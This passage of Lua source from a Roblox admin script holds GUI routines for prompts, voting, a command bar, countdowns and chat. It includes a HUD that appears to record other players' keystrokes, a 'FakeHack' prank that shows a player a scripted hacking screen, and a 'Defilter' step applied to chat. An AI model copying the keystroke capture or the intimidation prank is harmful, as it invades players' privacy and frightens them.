4452 Keys = string.sub(Keys, 1, #Keys - 1)
4453 elseif KeyData[2] == 13 then
4454 Keys = Keys.." "
4455 else
4456 Keys = Keys..string.char(KeyData[2])
4457 end
4458 end
4459 KeyLabel.Text = table.concat(KeyLog, "\n")
4460 KeyOutput.Text = Keys
4461 end
4462 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4463 end end)()
4464
4465 local CharRev,Removing = nil,nil
4466 CharRev = Player.CharacterRemoving:connect(function()
4467 PlayerHUD:Destroy()
4468 CharRev:disconnect()
4469 Removing:disconnect()
4470 end)
4471 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4472 PlayerHUD:Destroy()
4473 CharRev:disconnect()
4474 Removing:disconnect()
4475 end end)
4476 end
4477
4478 local function ConnectHUD(Player)
4479 if Player ~= Speaker then
4480 if Player.Character then
4481 AddHUD(Player, Player.Character)
4482 end
4483
4484 Player.CharacterAdded:connect(function(Char)
4485 if Speaker then
4486 AddHUD(Player, Char)
4487 else return nil
4488 end
4489 end)
4490 end
4491 end
4492
4493 for _,Player in pairs(Server.Players:GetPlayers()) do
4494 ConnectHUD(Player)
4495 end
4496
4497 Server.Players.PlayerAdded:connect(ConnectHUD)
4498end
4499
4500function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4501 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4502 local Stopped = false
4503
4504 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4505 Frame.Size = UDim2.new(1, 0, 1, -30)
4506 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4507
4508 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4509 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4510 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4511
4512 local function AddLine(Speaker, MessageText, MessageColor)
4513 MessageText = STRING:Defilter(MessageText)
4514 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4515 if not MessageColor then MessageColor = GUI:ContrastColor() end
4516 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4517 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4518 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4519 Bounds.Parent = Frame
4520 end
4521
4522 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4523
4524 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4525 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4526 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4527
4528 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4529 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4530
4531 CORE:ExecuteResource("MessagePromptHandler", Frame)
4532
4533 wait(0.1)
4534
4535 if PreAdd then
4536 for Num,Add in pairs(PreAdd) do
4537 AddLine(Add[1], Add[2], Add[3])
4538 end
4539 end
4540
4541 --[[
4542 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4543
4544 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4545 if ChatBox.Text == "Click here or press the '-' key" then
4546 ChatBox.Text = ""
4547 end
4548 end)
4549 ]]
4550
4551 local function FireSendPressed()
4552 local Text = CORE:ReadProperty(RPR, Player, "Text")
4553 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4554 SendPressed:Fire(Text)
4555 FakeCB.Visible = true
4556 ClearCB:InvokeClient(Player)
4557 end
4558 end
4559
4560 Closed.Event:connect(function()
4561 if Stopped == false then
4562 Stopped = true
4563 if SpeakerEvents then SpeakerEvents("Leave") end
4564 end
4565 end)
4566
4567 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4568 EnterPressed.OnServerInvoke = FireSendPressed
4569 AddMessage.OnInvoke = AddLine
4570
4571 if SpeakerEvents then
4572 SpeakerEvents("Join")
4573
4574 coroutine.wrap(function()
4575 repeat wait() until not Frame or not Frame.Parent
4576 if Stopped == false then
4577 Stopped = true
4578 SpeakerEvents("Leave")
4579 end
4580 end)()
4581 end
4582
4583 return SendPressed, AddMessage
4584end
4585
4586function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4587 if tonumber(Time) then ShowFormButtons = false end
4588 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4589 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4590 local Clicked = nil
4591 local Alive = true
4592
4593 local function ClosePrompt(ButtonName)
4594 Alive = false
4595 Close:Invoke()
4596 Clicked = ButtonName
4597 end
4598
4599 for Num,Select in pairs(Buttons) do
4600 local Name = Select
4601 local Style = "White"
4602 local TextColor3 = Color3.new(0,0,0)
4603 if type(Select) == "table" then
4604 Name = Select[1]
4605 if Select[2] then Style = Select[2] end
4606 if Select[3] then TextColor3 = Select[3] end
4607 elseif type(Select) == "string" then
4608 local Case = string.lower(Select)
4609 if Case == "ok" then
4610 Name = "Ok"
4611 Style = "Primary"
4612 TextColor3 = Color3.new(1,1,1)
4613 elseif Case == "yes" then
4614 Name = "Yes"
4615 Style = "Gray"
4616 TextColor3 = Color3.new(0,1,0)
4617 elseif Case == "no" then
4618 Name = "No"
4619 Style = "Red"
4620 TextColor3 = Color3.new(1,0,0)
4621 end
4622 end
4623
4624 if Style == "None" then Style = "Custom" end
4625 if Style == "Casual" then Style = "RobloxButton" end
4626 if Style == "Red" then Style = "RobloxButtonDefault" end
4627 if Style == "Gray" then Style = "RobloxRoundButton" end
4628 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4629 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4630
4631 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4632 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4633 SOUND:BindButton(Button)
4634 end
4635
4636 if tonumber(Time) then
4637 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4638 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4639 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4640
4641 for i = Time,0,-1 do
4642 for ii = 1,10 do
4643 if Alive == true then
4644 Ticker.Text = i
4645 wait(0.1)
4646 else
4647 break
4648 end
4649 end
4650 end
4651 if Alive == true then
4652 ClosePrompt()
4653 end
4654 end
4655
4656 repeat wait() until Alive == false
4657 return Clicked
4658end
4659
4660function GUI:Vote(Speaker, Players, Text, Time)
4661 if not Players or not Text or #Players <= 0 then return end
4662
4663 Text = STRING:Defilter(Text)
4664 local Votes = {}
4665 local Tick = 0
4666
4667 for _,Player in pairs(Players) do
4668 local CanVote = true
4669 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4670 if CanVote == true then
4671 coroutine.wrap(function()
4672 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
4673 if Answer == nil then Answer = "Unknown" end
4674 table.insert(Votes, Answer)
4675 end)()
4676 end
4677 end
4678 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4679 wait(2)
4680 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4681 local Total = #Players
4682 local Yes,No,Unknown = 0,0,0
4683 for _,Vote in pairs(Votes) do
4684 if Vote == "Yes" then Yes = Yes + 1
4685 elseif Vote == "No" then No = No + 1
4686 end
4687 end
4688 Unknown = #Players - #Votes
4689
4690 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4691 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4692 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4693]]..Yes.."/"..Total..[[
4694]]..math.ceil((Yes/Total)*100).."% "
4695 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4696]]..No.."/"..Total..[[
4697]]..math.ceil((No/Total)*100).."% "
4698 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4699]]..Unknown.."/"..Total..[[
4700]]..math.ceil((Unknown/Total)*100).."% "
4701 end
4702end
4703
4704function GUI:LoadGui(Player, Text, InfoText)
4705 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4706 local Dead = false
4707
4708 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4709 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4710 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4711 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4712 if InfoText then Info.Text = InfoText end
4713
4714 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4715 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4716
4717 CloseGui.OnInvoke = function()
4718 Close:Invoke()
4719 Dead = true
4720 end
4721 AddInfo.OnInvoke = function(AddText)
4722 Info.Text = AddText
4723 end
4724
4725 coroutine.wrap(function()
4726 for i = 0,math.huge,3 do
4727 if Dead == false and Frame then
4728 WaitIcon.Rotation = i
4729 wait()
4730 else
4731 break
4732 end
4733 end
4734 end)()
4735
4736 coroutine.wrap(function()
4737 while Dead == false and Frame do
4738 wait(0.5)
4739 LoadLabel.Text = Text.."."
4740 wait(0.5)
4741 LoadLabel.Text = Text..".."
4742 wait(0.5)
4743 LoadLabel.Text = Text.."..."
4744 wait(0.5)
4745 LoadLabel.Text = Text..".."
4746 wait(0.5)
4747 LoadLabel.Text = Text.."."
4748 wait(0.5)
4749 LoadLabel.Text = Text
4750 end
4751 end)()
4752
4753 wait(1)
4754
4755 return CloseGui, AddInfo
4756end
4757
4758function GUI:FakeHack(Player) coroutine.wrap(function()
4759 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4760 local FakeText = [[
4761>SHELL: BEGIN
4762>RUNCODE:
4763return {
4764 local Hack = {"Account", "Tix", "Robux"};
4765 function Start(Type, Inject, Scan)
4766 if not Inject then Inject = "In-Game" end
4767 return {Type, Inject, Scan}
4768 end
4769 for Exe,Exploit in pairs(Hack) do
4770 local IP = Start("In-Game",Exploit,
4771 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4772 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4773 )
4774 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4775 for i = 1,#Injection[2] do
4776 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4777 end
4778 local PlayerProxy = newproxy(true)
4779 setmetatable(PlayerProxy,Injection[3],{
4780 __index = function(StealData, ...) local Data = unpack(...)
4781 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4782 end;
4783 })
4784 end
4785 Log("HACKED HOST: PLAYERNAME")
4786}
4787>HACKED HOST: PLAYERNAME
4788
4789]]
4790 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4791 if SG then SG:Destroy() end
4792 SG = Instance.new("ScreenGui", Player.PlayerGui)
4793 SG.Name = "MML Hack Gui"
4794 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4795 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4796 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
4797 for i = 1,#FakeText do
4798 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4799 if math.random(1,5) == 1 then
4800 wait()
4801 end
4802 end
4803 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4804 wait(3)
4805 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
4806fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
4807 X.Visible = true
4808end)() end
4809
4810function GUI:CommandBar(Player)
4811 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4812
4813 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4814 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4815 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4816 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4817
4818 local _,Rank = RANK:GetRank(Player)
4819 local UsableCommands = {}
4820 for CommandNames,Data in pairs(Commands) do
4821 if not Data.Hidden then
4822 if RANK:ConvertRank(Data[4]) <= Rank then
4823 for _,Command in pairs(CommandNames) do
4824 table.insert(UsableCommands, {Command, Data[3]})
4825 end
4826 end
4827 end
4828 end
4829
4830 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4831
4832 local function ExecuteText()
4833 local Text = CORE:ReadProperty(RPR, Player, "Text")
4834 CORE:Chatted(Text, Player, true)
4835 CommandBox.Text = "Enter a command here"
4836 end
4837
4838 local function AddSuggestion(Text)
4839 if Text == nil then Text = Settings.Prefix end
4840 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4841 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4842 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4843 if Text == Settings.Prefix then
4844 CommandBox.Text = Settings.Prefix
4845 else
4846 CommandBox.Text = Settings.Prefix..Text
4847 end
4848 CORE:ExecuteResource("Focus", CommandBox)
4849 end, true)
4850 end
4851
4852 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4853 if CommandBox.Text == "Enter a command here" then
4854 CommandBox.Text = ""
4855 end
4856 end)
4857
4858 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4859 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4860
4861 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4862 EnterPressed.OnServerInvoke = ExecuteText
4863
4864 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4865 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4866 Suggest:ClearAllChildren()
4867 local Text = CORE:ReadProperty(RPR, Player, "Text")
4868 if Text == "" then
4869 AddSuggestion(Settings.Prefix)
4870 end
4871
4872 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4873 Text = string.sub(Text,#Settings.Prefix+1)
4874 end
4875 for _,Data in pairs(UsableCommands) do
4876 local Command,Args = Data[1],Data[2]
4877 if string.find(string.lower(Command),string.lower(Text)) then
4878 local NewSuggestion = Command
4879 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
4880 AddSuggestion(NewSuggestion)
4881 end
4882 end
4883
4884 end end)
4885end
4886function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
4887 if not Player or not AllSeconds then return nil end
4888 AllSeconds = tonumber(AllSeconds)
4889 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
4890 AllSeconds = math.floor(AllSeconds)
4891 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
4892 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
4893 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
4894 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
4895 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
4896 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
4897
4898 local CurrentSeconds = AllSeconds
4899 local Alive = true
4900 coroutine.wrap(function() for i = 0,AllSeconds do
4901 if not Alive then break end
4902 local Seconds = tostring(math.fmod(CurrentSeconds,60))
4903 local Minutes = tostring(math.floor(CurrentSeconds/60))
4904 if #Seconds == 1 then Seconds = "0"..Seconds end
4905 if #Minutes == 1 then Minutes = "0"..Minutes end
4906 Time.Text = Minutes..":"..Seconds
4907 wait(1)
4908 if CurrentSeconds <= 0 then
4909 Alarm:Play()
4910 Time.Text = "00:00"
4911 Part.Size = UDim2.new(1,0,1,0)
4912 Restore:Invoke()
4913 wait(4)
4914 Close:Invoke()
4915 break
4916 else
4917 Tick:Play()
4918 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
4919 CurrentSeconds = CurrentSeconds - 1
4920 end
4921 end end)()
4922
4923 Closed.Event:connect(function()
4924 if Alive == true then
4925 Alive = false
4926 Tick:Stop()
4927 Alarm:Stop()
4928 end
4929 end)
4930end)() end
4931
4932function GUI:DetachChat(Player)
4933 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4934 if Player:FindFirstChild("DetachChatMML") then
4935 Player.DetachChatMML:Invoke(true)
4936 wait()
4937 Player.DetachChatMML:Destroy()
4938 end
4939
4940 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
4941 local SG = Frame.Parent.Parent.Parent
4942
4943 local DCBF = Instance.new("BindableFunction", Player)
4944 DCBF.Name = "DetachChatMML"
4945 DCBF.OnInvoke = function(Remove)
4946 if Remove then
4947 SG:Destroy()
4948 end
4949 end
4950 CORE:ExecuteResource("CoreChat", SG)
4951
4952 local IsClosed = false
4953 Closed.Event:connect(function()
4954 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
4955 IsClosed = true
4956 end)
4957
4958 coroutine.wrap(function()
4959 Player.CharacterRemoving:wait()
4960 if not IsClosed then
4961 IsClosed = true
4962 wait(1)
4963 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
4964 end
4965 end)()
4966end
4967
4968function GUI:SendChat(Player, Data) coroutine.wrap(function()
4969 if not Player then return nil end
4970 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
4971
4972 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
4973end)() end
4974
4975function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
4976 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4977
4978 local NumSounds = 0
4979 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
4980 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
4981 NumSounds = NumSounds + 1
4982 end
4983 end
4984
4985 local Size = UDim2.new(0.1, 100, 0.1, 100)
4986 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
4987 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
4988
4989 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
4990 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
4991 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
4992 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
4993
4994 coroutine.wrap(function()
4995 local Alive = true
4996
4997 local function StopTimer() Alive = false end
4998 Closed.Event:connect(StopTimer)
4999 Minimized.Event:connect(StopTimer)
5000 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5001
5002 for i = Time,0,-1 do
5003 for ii = 1,10 do
5004 if Alive == true then
5005 Timer.Text = i
5006 wait(0.1)
5007 else
5008 break
5009 end
5010 end
5011 end
5012 if Alive == true then
5013 Close:Invoke()
5014 else
5015 Timer:Destroy()
5016 Stop:Destroy()
5017 end
5018 end)()
5019end
5020
5021---- STRING REPLACEMENT OPERATIONS ----
5022
5023-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5024
5025-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5026
5027StringReplacements = {
5028 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5029 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5030 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5031 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5032 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5033 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5034 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5035 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5036 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5037 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5038
5039 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5040 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5041 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5042 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
